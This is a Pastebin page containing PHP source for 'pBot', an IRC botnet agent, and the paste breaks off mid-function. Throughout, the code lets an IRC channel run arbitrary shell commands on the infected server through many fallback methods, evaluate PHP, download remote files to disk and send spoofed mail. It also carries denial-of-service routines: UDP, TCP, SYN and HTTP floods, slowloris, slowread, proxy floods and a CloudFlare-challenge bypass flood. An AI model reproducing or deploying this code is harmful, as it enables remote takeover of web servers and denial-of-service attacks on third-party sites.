Advertisement
D3vBl4ck

pBOT

Oct 24th, 2019
17,553
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 37.30 KB | None | 0 0
  1.  
  2. <?php
  3. $cfg = array(
  4.     "server" => "1.1.1.1",
  5.     "port" => "6667",
  6.     "key" => "",
  7.     "prefix" => "HACKINGLATINO|",
  8.     "maxrand" => "9",
  9.     "chan" => "#thl",
  10.     "trigger" => "",
  11.     "hostauth" => ""
  12. );
  13. set_time_limit(0);
  14. error_reporting(0);
  15. $dir   = getcwd();
  16. $uname = @php_uname();
  17. function whereistmP() {
  18.     $uploadtmp = ini_get('upload_tmp_dir');
  19.     $uf        = getenv('USERPROFILE');
  20.     $af        = getenv('ALLUSERSPROFILE');
  21.     $se        = ini_get('session.save_path');
  22.     $envtmp    = (getenv('TMP')) ? getenv('TMP') : getenv('TEMP');
  23.     if(is_dir('/tmp') && is_writable('/tmp'))
  24.  
  25.         return '/tmp';
  26.     if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))
  27.  
  28.         return '/usr/tmp';
  29.     if(is_dir('/var/tmp') && is_writable('/var/tmp'))
  30.  
  31.         return '/var/tmp';
  32.     if(is_dir($uf) && is_writable($uf))
  33.  
  34.         return $uf;
  35.     if(is_dir($af) && is_writable($af))
  36.  
  37.         return $af;
  38.     if(is_dir($se) && is_writable($se))
  39.  
  40.         return $se;
  41.     if(is_dir($uploadtmp) && is_writable($uploadtmp))
  42.  
  43.         return $uploadtmp;
  44.     if(is_dir($envtmp) && is_writable($envtmp))
  45.  
  46.         return $envtmp;
  47.     return '.';
  48. }
  49. function srvshelL($command) {
  50.     $name = whereistmP() . "\\" . uniqid('NJ');
  51.     $n    = uniqid('NJ');
  52.     $cmd  = (empty($_SERVER['ComSpec'])) ? 'd:\\windows\\system32\\cmd.exe' : $_SERVER['ComSpec'];
  53.     win32_create_service(array(
  54.         'service' => $n,
  55.         'display' => $n,
  56.         'path' => $cmd,
  57.         'params' => "/c $command >\"$name\""
  58.     ));
  59.     win32_start_service($n);
  60.     win32_stop_service($n);
  61.     win32_delete_service($n);
  62.     while(!file_exists($name))
  63.         sleep(1);
  64.     $exec = file_get_contents($name);
  65.     unlink($name);
  66.  
  67.     return $exec;
  68. }
  69. function ffishelL($command) {
  70.     $name = whereistmP() . "\\" . uniqid('NJ');
  71.     $api  = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  72.     $res  = $api->WinExec("cmd.exe /c $command >\"$name\"", 0);
  73.     while(!file_exists($name))
  74.         sleep(1);
  75.     $exec = file_get_contents($name);
  76.     unlink($name);
  77.  
  78.     return $exec;
  79. }
  80. function comshelL($command, $ws) {
  81.     $exec = $ws->exec("cmd.exe /c $command");
  82.     $so   = $exec->StdOut();
  83.  
  84.     return $so->ReadAll();
  85. }
  86. function perlshelL($command) {
  87.     $perl = new perl();
  88.     ob_start();
  89.     $perl->eval("system(\"$command\")");
  90.     $exec = ob_get_contents();
  91.     ob_end_clean();
  92.  
  93.     return $exec;
  94. }
  95. function Exe($command) {
  96.     $exec  = $output = '';
  97.     $dep[] = array(
  98.         'pipe',
  99.         'r'
  100.     );
  101.     $dep[] = array(
  102.         'pipe',
  103.         'w'
  104.     );
  105.     if (function_exists('passthru')) {
  106.         ob_start();
  107.         @passthru($command);
  108.         $exec = ob_get_contents();
  109.         ob_clean();
  110.         ob_end_clean();
  111.     } elseif (function_exists('system')) {
  112.         $tmp = ob_get_contents();
  113.         ob_clean();
  114.         @system($command);
  115.         $output = ob_get_contents();
  116.         ob_clean();
  117.         $exec = $tmp;
  118.     } elseif (function_exists('exec')) {
  119.         @exec($command, $output);
  120.         $output = join("\n", $output);
  121.         $exec   = $output;
  122.     } elseif(function_exists('shell_exec'))
  123.         $exec = @shell_exec($command);
  124.     elseif (function_exists('popen')) {
  125.         $output = @popen($command, 'r');
  126.         while (!feof($output)) {
  127.             $exec = fgets($output);
  128.         }
  129.         pclose($output);
  130.     } elseif (function_exists('proc_open')) {
  131.         $res = @proc_open($command, $dep, $pipes);
  132.         while (!feof($pipes[1])) {
  133.             $line = fgets($pipes[1]);
  134.             $output .= $line;
  135.         }
  136.         $exec = $output;
  137.         proc_close($res);
  138.     } elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  139.         $exec = winshelL($command);
  140.     elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  141.         $exec = srvshelL($command);
  142.     elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  143.         $exec = ffishelL($command);
  144.     elseif(extension_loaded('perl'))
  145.         $exec = perlshelL($command);
  146.  
  147.     return $exec;
  148. }
  149. class pBot {
  150.     public $config = '';
  151.     public $user_agents = array(
  152.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16",
  153.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17",
  154.         "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
  155.         "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2",
  156.         "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
  157.         "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
  158.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)",
  159.         "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00"
  160.     );
  161.     public $charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  162.     public $users = array();
  163.     public function start($cfg) {
  164.         $this->config = $cfg;
  165.         while (true) {
  166.             if(!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))
  167.                 $this->start($cfg);
  168.             $ident = $this->config['prefix'];
  169.             $alph  = range("0", "9");
  170.             for($i = 0; $i < $this->config['maxrand']; $i++)
  171.                 $ident .= $alph[rand(0, 9)];
  172.             $this->send("USER " . $ident . " 127.0.0.1 localhost :" . php_uname() . "");
  173.             $this->set_nick();
  174.             $this->main();
  175.         }
  176.     }
  177.     public function main() {
  178.         while (!feof($this->conn)) {
  179.             if (function_exists('stream_select')) {
  180.                 $read    = array(
  181.                     $this->conn
  182.                 );
  183.                 $write   = NULL;
  184.                 $except  = NULL;
  185.                 $changed = stream_select($read, $write, $except, 30);
  186.                 if ($changed == 0) {
  187.                     fwrite($this->conn, "PING :lelcomeatme\r\n");
  188.                     $read    = array(
  189.                         $this->conn
  190.                     );
  191.                     $write   = NULL;
  192.                     $except  = NULL;
  193.                     $changed = stream_select($read, $write, $except, 30);
  194.                     if($changed == 0)
  195.                         break;
  196.                 }
  197.             }
  198.             $this->buf = trim(fgets($this->conn, 512));
  199.             $cmd       = explode(" ", $this->buf);
  200.             if (substr($this->buf, 0, 6) == "PING :") {
  201.                 $this->send("PONG :" . substr($this->buf, 6));
  202.                 continue;
  203.             }
  204.             if (isset($cmd[1]) && $cmd[1] == "001") {
  205.                 $this->join($this->config['chan'], $this->config['key']);
  206.                 continue;
  207.             }
  208.             if (isset($cmd[1]) && $cmd[1] == "433") {
  209.                 $this->set_nick();
  210.                 continue;
  211.             }
  212.             if ($this->buf != $old_buf) {
  213.                 $mcmd   = array();
  214.                 $msg    = substr(strstr($this->buf, " :"), 2);
  215.                 $msgcmd = explode(" ", $msg);
  216.                 $nick   = explode("!", $cmd[0]);
  217.                 $vhost  = explode("@", $nick[1]);
  218.                 $vhost  = $vhost[1];
  219.                 $nick   = substr($nick[0], 1);
  220.                 $host   = $cmd[0];
  221.                 if($msgcmd[0] == $this->nick)
  222.                     for($i = 0; $i < count($msgcmd); $i++)
  223.                         $mcmd[$i] = $msgcmd[$i + 1];
  224.                 else
  225.                     for($i = 0; $i < count($msgcmd); $i++)
  226.                         $mcmd[$i] = $msgcmd[$i];
  227.                 if (count($cmd) > 2) {
  228.                     switch ($cmd[1]) {
  229.                         case "PRIVMSG":
  230.                             if ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*") {
  231.                                 if (substr($mcmd[0], 0, 1) == ".") {
  232.                                     switch (substr($mcmd[0], 1)) {
  233.                                         case "mail":
  234.                                             if (count($mcmd) > 4) {
  235.                                                 $header = "From: <" . $mcmd[2] . ">";
  236.                                                 if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) {
  237.                                                     $this->privmsg($this->config['chan'], "[\2mail\2]: failed sending.");
  238.                                                 } else {
  239.                                                     $this->privmsg($this->config['chan'], "[\2mail\2]: sent.");
  240.                                                 }
  241.                                             }
  242.                                             break;
  243.                                         case "dns":
  244.                                             if (isset($mcmd[1])) {
  245.                                                 $ip = explode(".", $mcmd[1]);
  246.                                                 if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) {
  247.                                                     $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyaddr($mcmd[1]));
  248.                                                 } else {
  249.                                                     $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyname($mcmd[1]));
  250.                                                 }
  251.                                             }
  252.                                             break;
  253.                                         case "uname":
  254.                                             if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  255.                                                 $safemode = "on";
  256.                                             } else {
  257.                                                 $safemode = "off";
  258.                                             }
  259.                                             $uname = php_uname();
  260.                                             $this->privmsg($this->config['chan'], "[\2info\2]: " . $uname . " (safe: " . $safemode . ")");
  261.                                             break;
  262.                                         case "rndnick":
  263.                                             $this->set_nick();
  264.                                             break;
  265.                                         case "raw":
  266.                                             $this->send(strstr($msg, $mcmd[1]));
  267.                                             break;
  268.                                         case "eval":
  269.                                             ob_start();
  270.                                             eval(strstr($msg, $mcmd[1]));
  271.                                             $exec = ob_get_contents();
  272.                                             ob_end_clean();
  273.                                             $ret = explode("\n", $exec);
  274.                                             for($i = 0; $i < count($ret); $i++)
  275.                                                 if($ret[$i] != NULL)
  276.                                                     $this->privmsg($this->config['chan'], "      : " . trim($ret[$i]));
  277.                                             break;
  278.                                         case "exec":
  279.                                             $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
  280.                                             $exec    = exec($command);
  281.                                             $ret     = explode("\n", $exec);
  282.                                             for($i = 0; $i < count($ret); $i++)
  283.                                                 if($ret[$i] != NULL)
  284.                                                     $this->privmsg($this->config['chan'], "      : " . trim($ret[$i]));
  285.                                             break;
  286.                                         case "cmd":
  287.                                             $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
  288.                                             $exec    = Exe($command);
  289.                                             $ret     = explode("\n", $exec);
  290.                                             for($i = 0; $i < count($ret); $i++)
  291.                                                 if($ret[$i] != NULL)
  292.                                                     $this->privmsg($this->config['chan'], "      : " . trim($ret[$i]));
  293.                                             break;
  294.                                         case "ud.server":
  295.                                             if (count($mcmd) > 2) {
  296.                                                 $this->config['server'] = $mcmd[1];
  297.                                                 $this->config['port']   = $mcmd[2];
  298.                                                 if (isset($mcmcd[3])) {
  299.                                                     $this->config['pass'] = $mcmd[3];
  300.                                                     $this->privmsg($this->config['chan'], "[\2update\2]: info updated " . $mcmd[1] . ":" . $mcmd[2] . " pass: " . $mcmd[3]);
  301.                                                 } else {
  302.                                                     $this->privmsg($this->config['chan'], "[\2update\2]: switched server to " . $mcmd[1] . ":" . $mcmd[2]);
  303.                                                 }
  304.                                                 fclose($this->conn);
  305.                                             }
  306.                                             break;
  307.                                         case "download":
  308.                                             if (count($mcmd) > 2) {
  309.                                                 if (!$fp = fopen($mcmd[2], "w")) {
  310.                                                     $this->privmsg($this->config['chan'], "[\2download\2]: could not open output file.");
  311.                                                 } else {
  312.                                                     if (!$get = file($mcmd[1])) {
  313.                                                         $this->privmsg($this->config['chan'], "[\2download\2]: could not download \2" . $mcmd[1] . "\2");
  314.                                                     } else {
  315.                                                         for ($i = 0; $i <= count($get); $i++) {
  316.                                                             fwrite($fp, $get[$i]);
  317.                                                         }
  318.                                                         $this->privmsg($this->config['chan'], "[\2download\2]: file \2" . $mcmd[1] . "\2 downloaded to \2" . $mcmd[2] . "\2");
  319.                                                     }
  320.                                                     fclose($fp);
  321.                                                 }
  322.                                             } else {
  323.                                                 $this->privmsg($this->config['chan'], "[\2download\2]: use .download http://your.host/file /tmp/file");
  324.                                             }
  325.                                             break;
  326.                                         case "udpflood":
  327.                                             if (count($mcmd) > 4) {
  328.                                                 $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
  329.                                             }
  330.                                             break;
  331.                                         case "tcpconn":
  332.                                             if (count($mcmd) > 5) {
  333.                                                 $this->tcpconn($mcmd[1], $mcmd[2], $mcmd[3]);
  334.                                             }
  335.                                             break;
  336.                                         case "rudy":
  337.                                             if (count($mcmd) > 2) {
  338.                                                 $this->doSlow($mcmd[1], $mcmd[2]);
  339.                                             }
  340.                                             break;
  341.                                         case "slowread":
  342.                                             if (count($mcmd) > 3) {
  343.                                                 $this->slowRead($mcmd[1], $mcmd[2], $mcmd[3]);
  344.                                             }
  345.                                             break;
  346.                                         case "slowloris":
  347.                                             if (count($mcmd) > 2) {
  348.                                                 $this->doSlow($mcmd[1], $mcmd[2]);
  349.                                             }
  350.                                             break;
  351.                                         case "synflood":
  352.                                             if (count($mcmd) > 3) {
  353.                                                 $this->synflood($mcmd[1], $mcmd[2], $mcmd[3]);
  354.                                             }
  355.                                         case "l7":
  356.                                             if (count($mcmd) > 3) {
  357.                                                 if ($mcmd[1] == "get") {
  358.                                                     $this->attack_http("GET", $mcmd[2], $mcmd[3]);
  359.                                                 }
  360.                                                 if ($mcmd[1] == "post") {
  361.                                                     $this->attack_post($mcmd[2], $mcmd[3]);
  362.                                                 }
  363.                                                 if ($mcmd[1] == "head") {
  364.                                                     $this->attack_http("HEAD", $mcmd[2], $mcmd[3]);
  365.                                                 }
  366.                                             }
  367.                                             break;
  368.                                         case "syn":
  369.                                             if (count($mcmd) > 2) {
  370.                                                 $this->syn($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
  371.                                             } else {
  372.                                                 $this->privmsg($this->config['chan'], "syntax: syn host port time [delaySeconds]");
  373.                                             }
  374.                                             break;
  375.                                         case "tcpflood":
  376.                                             if (count($mcmd) > 2) {
  377.                                                 $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3]);
  378.                                             } else {
  379.                                                 $this->privmsg($this->config['chan'], "syntax: tcpflood host port time");
  380.                                             }
  381.                                             break;
  382.                                         case "httpflood":
  383.                                             if (count($mcmd) > 2) {
  384.                                                 $this->httpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]);
  385.                                             } else {
  386.                                                 $this->privmsg($this->config['chan'], "syntax: httpflood host port time [method] [url]");
  387.                                             }
  388.                                             break;
  389.                                         case "proxyhttpflood":
  390.                                             if (count($mcmd) > 2) {
  391.                                                 $this->proxyhttpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
  392.                                             } else {
  393.                                                 $this->privmsg($this->config['chan'], "syntax: proxyhttpflood targetUrl(with http://) proxyListUrl time [method]");
  394.                                             }
  395.                                             break;
  396.                                         case "cloudflareflood":
  397.                                             print_r($mcmd);
  398.                                             if (count($mcmd) > 2) {
  399.                                                 $this->cloudflareflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5], $mcmd[6]);
  400.                                             } else {
  401.                                                 $this->privmsg($this->config['chan'], "syntax: cloudflareflood host port time [method] [url] [postFields]");
  402.                                             }
  403.                                             break;
  404.                                     }
  405.                                 }
  406.                             }
  407.                             break;
  408.                     }
  409.                 }
  410.             }
  411.         }
  412.     }
  413.     public function send($msg) {
  414.         fwrite($this->conn, $msg . "\r\n");
  415.     }
  416.     public function join($chan, $key = NULL) {
  417.         $this->send("JOIN " . $chan . " " . $key);
  418.     }
  419.     public function privmsg($to, $msg) {
  420.         $this->send("PRIVMSG " . $to . " :" . $msg);
  421.     }
  422.     public function notice($to, $msg) {
  423.         $this->send("NOTICE " . $to . " :" . $msg);
  424.     }
  425.     public function set_nick() {
  426.         $fp = fsockopen("freegeoip.net", 80, $dummy, $dummy, 30);
  427.         if(!$fp)
  428.             $this->nick = "[UKN]";
  429.         else {
  430.             fclose($fp);
  431.             $ctx = stream_context_create(array(
  432.                 'http' => array(
  433.                     'timeout' => 30
  434.                 )
  435.             ));
  436.             $buf = file_get_contents("http://freegeoip.net/json/", 0, $ctx);
  437.             if(!strstr($buf, "country_code"))
  438.                 $this->nick = "[UKN]";
  439.             else {
  440.                 $code       = strstr($buf, "country_code");
  441.                 $code       = substr($code, 12);
  442.                 $code       = substr($code, 3, 2);
  443.                 $this->nick = "[" . $code . "]";
  444.             }
  445.         }
  446.         if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  447.             $this->nick .= "[WIN32]";
  448.         else
  449.             $this->nick .= "[LINUX]";
  450.         if (isset($_SERVER['SERVER_SOFTWARE'])) {
  451.             if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache"))
  452.                 $this->nick .= "[A]";
  453.             elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "iis"))
  454.                 $this->nick .= "[I]";
  455.             elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "xitami"))
  456.                 $this->nick .= "[X]";
  457.             elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "nginx"))
  458.                 $this->nick .= "[N]";
  459.             else
  460.                 $this->nick .= "[U]";
  461.         } else {
  462.             $this->nick .= "[C]";
  463.         }
  464.         $this->nick .= $this->config['prefix'];
  465.         for($i = 0; $i < $this->config['maxrand']; $i++)
  466.             $this->nick .= mt_rand(0, 9);
  467.         $this->send("NICK " . $this->nick);
  468.     }
  469.     public function cloudflareflood($host, $port, $time, $method="GET", $url="/", $post=array()) {
  470.         $this->privmsg($this->config['chan'], "[\2CloudFlareFlood Started!\2]");
  471.         $timei    = time();
  472.         $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
  473.         $packet = "$method $url HTTP/1.1\r\n";
  474.         $packet .= "Host: $host\r\n";
  475.         $packet .= "Keep-Alive: 300\r\n";
  476.         $packet .= "Connection: keep-alive\r\n";
  477.         $packet .= "User-Agent: $user_agent\r\n";
  478.         //Cloudflare Bypass
  479.         $res =  curl($host, null, $user_agent, true);
  480.         //Cloudflare Bypass
  481.         if (strstr($res, "DDoS protection by CloudFlare")) {
  482.             $this->privmsg($this->config['chan'], "[\2CloudFlare detected!...\2]");
  483.             //Get the math calc
  484.             $math_calc = get_between($res, "a.value = ", ";");
  485.             if ($math_calc) {
  486.                 $math_result = (int) eval("return ($math_calc);");
  487.                 if (is_numeric($math_result)) {
  488.                     $math_result += strlen($host); //Domain lenght
  489.                     //Send the CloudFlare's form
  490.                     $getData = "cdn-cgi/l/chk_jschl";
  491.                     $getData .= "?jschl_vc=".get_between($res, 'name="jschl_vc" value="', '"');
  492.                     $getData .= "&jschl_answer=".$math_result;
  493.                     $res = curl($host.$getData, null, $user_agent);
  494.                     //Cloudflare Bypassed?
  495.                     if (strstr($res, "DDoS protection by CloudFlare")) {
  496.                         $this->privmsg($this->config['chan'], "[\2CloudFlare not bypassed...\2]");
  497.  
  498.                         return false;
  499.                     } else {
  500.                         $bypassed = true;
  501.                         //Cookie read
  502.                         $cookie = trim(get_between(file_get_contents("cookie.txt"), "__cfduid", "\n"));
  503.                         $packet .= "Cookie: __cfduid=".$cookie."\r\n\r\n";
  504.                     }
  505.                 }
  506.             }
  507.         } else {
  508.             $this->privmsg($this->config['chan'], "[\2CloudFlare not detected...\2]");
  509.         }
  510.         if ($bypassed) {
  511.             $this->privmsg($this->config['chan'], "[\2CloudFlare bypassed!\2]");
  512.         }
  513.         $this->privmsg($this->config['chan'], "[\2Flodding...\2]");
  514.         while (time() - $timei < $time) {
  515.             $handle = fsockopen($host, $port, $errno, $errstr, 1);
  516.             fwrite($handle, $packet);
  517.         }
  518.         $this->privmsg($this->config['chan'], "[\2Bitch Got Nulled!\2]");
  519.     }
  520.     public function httpflood($host, $port, $time, $method="GET", $url="/") {
  521.         $this->privmsg($this->config['chan'], "[\2HttpFlood Started!\2]");
  522.         $timei    = time();
  523.         $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
  524.         $packet = "$method $url HTTP/1.1\r\n";
  525.         $packet .= "Host: $host\r\n";
  526.         $packet .= "Keep-Alive: 900\r\n";
  527.         $packet .= "Cache-Control: no-cache\r\n";
  528.         $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  529.         $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  530.         $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n";
  531.         $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n";
  532.         $packet .= "Connection: keep-alive\r\n";
  533.         $packet .= "User-Agent: $user_agent\r\n\r\n";
  534.         while (time() - $timei < $time) {
  535.             $handle = fsockopen($host, $port, $errno, $errstr, 1);
  536.             fwrite($handle, $packet);
  537.         }
  538.         $this->privmsg($this->config['chan'], "[\2HttpFlood Finished!\2]");
  539.     }
  540.     public function proxyhttpflood($url, $proxyListUrl, $time, $method="GET") {
  541.         $this->privmsg($this->config['chan'], "[\2ProxyHttpFlood Started!\2]");
  542.         $timei    = time();
  543.         //Grabbing proxy
  544.         $proxyList = curl($proxyListUrl);
  545.         if ($proxyList) {
  546.             $proxies = explode("\n", $proxyList);
  547.             if (count($proxies)) {
  548.                 shuffle($proxies);
  549.                 $proxies[0] = trim($proxies[0]);
  550.                 $proxy = explode(":", $proxies[0]);
  551.                 $proxyIp = $proxy[0];
  552.                 $proxyPort = $proxy[1];
  553.                 if ($proxyPort && $proxyIp) {
  554.                     $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
  555.                     $packet = "$method $url  HTTP/1.1\r\n";
  556.                     $packet .= "Host: $host\r\n";
  557.                     $packet .= "Keep-Alive: 900\r\n";
  558.                     $packet .= "Cache-Control: no-cache\r\n";
  559.                     $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  560.                     $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  561.                     $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n";
  562.                     $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n";
  563.                     $packet .= "Connection: keep-alive\r\n";
  564.                     $packet .= "User-Agent: $user_agent\r\n\r\n";
  565.                     while (time() - $timei < $time) {
  566.                         $handle = fsockopen($proxyIp, $proxyPort, $errno, $errstr, 1);
  567.                         fwrite($handle, $packet);
  568.                     }
  569.                 } else {
  570.                     $this->privmsg($this->config['chan'], "[\2Malformed proxy!\2]");
  571.                 }
  572.             } else {
  573.                 $this->privmsg($this->config['chan'], "[\2No proxies found!\2]");
  574.             }
  575.         } else {
  576.             $this->privmsg($this->config['chan'], "[\2Proxy List not found!\2]");
  577.         }
  578.         $this->privmsg($this->config['chan'], "[\2ProxyHttpFlood Finished (Proxy: ".$proxies[0].")!\2]");
  579.     }
  580.     public function tcpflood($host, $port, $time) {
  581.         $this->privmsg($this->config['chan'], "[\2TCP Started!\2]");
  582.         $timei    = time();
  583.         $packet = "";
  584.         for ($i = 0; $i < 65000; $i++) {
  585.             $packet .= $this->charset[rand(0, strlen($this->charset))];
  586.         }
  587.         while (time() - $timei < $time) {
  588.             $handle = fsockopen("tcp://".$host, $port, $errno, $errstr, 1);
  589.             fwrite($handle, $packet);
  590.         }
  591.         $this->privmsg($this->config['chan'], "[\2TCP Finished!\2]");
  592.     }
  593.     public function slowRead($host, $port, $time) {
  594.         $timei = time();
  595.         $fs    = array();
  596.         //initialize get headers.
  597.         $this->privmsg($this->config['chan'], "[\2Started Slowread!\2]");
  598.         $headers = "GET / HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\r\n\r\n";
  599.         while (time() - $timei < $time) {
  600.             for ($i = 0; $i < 100; $i++) {
  601.                 $fs[$i] = @fsockopen($host, $port, $errno, $errstr);
  602.                 fwrite($fs[$i], $headers);
  603.             }
  604.             while (time() - $timei < $time) {
  605.                 for ($i = 0; $i < count($fs); $i++) {
  606.                     if (!$fs[$i]) {
  607.                         $fs[$i] = @fsockopen($host, $port, $errno, $errstr);
  608.                         fwrite($fs[$i], $headers);
  609.                     }
  610.                     fread($fs[$i], 1);
  611.                 }
  612.                 sleep(mt_rand(0.5, 2));
  613.             }
  614.         }
  615.         $this->privmsg($this->config['chan'], "[\2Finished Slowread\2]");
  616.     }
  617.     public function attack_http($mthd, $server, $time) {
  618.         $timei = time();
  619.         $fs    = array();
  620.         $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Started On : $server!\2]");
  621.         $request = "$mthd / HTTP/1.1\r\n";
  622.         $request .= "Host: $server\r\n";
  623.         $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
  624.         $request .= "Keep-Alive: 900\r\n";
  625.         $request .= "Accept: *.*\r\n";
  626.         $timei = time();
  627.         for ($i = 0; $i < 100; $i++) {
  628.             $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
  629.         }
  630.         while ((time() - $timei < $time)) {
  631.             for ($i = 0; $i < 100; $i++) {
  632.                 if (@fwrite($fs[$i], $request)) {
  633.                     continue;
  634.                 } else {
  635.                     $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
  636.                 }
  637.             }
  638.         }
  639.         $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Finished!\2]");
  640.     }
  641.     public function attack_post($server, $host, $time) {
  642.         $timei = time();
  643.         $fs    = array();
  644.         $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Started On : $server!\2]");
  645.         $request = "POST /" . md5(rand()) . " HTTP/1.1\r\n";
  646.         $request .= "Host: $host\r\n";
  647.         $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
  648.         $request .= "Keep-Alive: 900\r\n";
  649.         $request .= "Content-Length: 1000000000\r\n";
  650.         $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
  651.         $request .= "Accept: *.*\r\n";
  652.         for ($i = 0; $i < 100; $i++) {
  653.             $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
  654.         }
  655.         while ((time() - $timei < $time)) {
  656.             for ($i = 0; $i < 100; $i++) {
  657.                 if (@fwrite($fs[$i], $request)) {
  658.                     continue;
  659.                 } else {
  660.                     $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
  661.                 }
  662.             }
  663.         }
  664.         fclose($sockfd);
  665.         $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Finished!\2]");
  666.     }
  667.     public function doSlow($host, $time) {
  668.         $this->privmsg($this->config['chan'], "[\2SlowLoris Started!\2]");
  669.         $timei = time();
  670.         $i     = 0;
  671.         for ($i = 0; $i < 100; $i++) {
  672.             $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
  673.         }
  674.         while ((time() - $timei < $time)) {
  675.             for ($i = 0; $i < 100; $i++) {
  676.                 $out = "POST / HTTP/1.1\r\n";
  677.                 $out .= "Host: {$host}\r\n";
  678.                 $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
  679.                 $out .= "Content-Length: " . rand(1, 1000) . "\r\n";
  680.                 $out .= "X-a: " . rand(1, 10000) . "\r\n";
  681.                 if (@fwrite($fs[$i], $out)) {
  682.                     continue;
  683.                 } else {
  684.                     $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
  685.                 }
  686.             }
  687.         }
  688.         $this->privmsg($this->config['chan'], "[\2SlowLoris Finished!\2]");
  689.     }
  690.     public function syn($host, $port, $time, $delay=1) {
  691.         $this->privmsg($this->config['chan'], "[\2SYN Started!\2]");
  692.         $timei    = time();
  693.         $socks = array();
  694.         while (time() - $timei < $time) {
  695.             $numsocks++;
  696.             $socks[$numsocks] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  697.             if (!$socks[$numsocks]) continue;
  698.             @socket_set_nonblock($socks[$numsocks]);
  699.             for ($j = 0; $j < 20; $j++)
  700.                 @socket_connect($socks[$numsocks], $host, $port);
  701.             sleep($delay);
  702.         }
  703.         $this->privmsg($this->config['chan'], "[\2SYN Finished (".$numsocks." socks created)!\2]");
  704.     }
  705.     public function synflood($host, $port, $delay) {
  706.         $this->privmsg($this->config['chan'], "[\2synFlood Started!\2]");
  707.         $socks    = array();
  708.         $numsocks = 0;
  709.         $numsocks++;
  710.         $socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  711.         if(!$socks[$numsocks])
  712.             continue;
  713.         @socket_set_nonblock($socks[$numsocks]);
  714.         for($j = 0; $j < 20; $j++)
  715.             @socket_connect($socks[$numsocks], $host, $port);
  716.         sleep($delay);
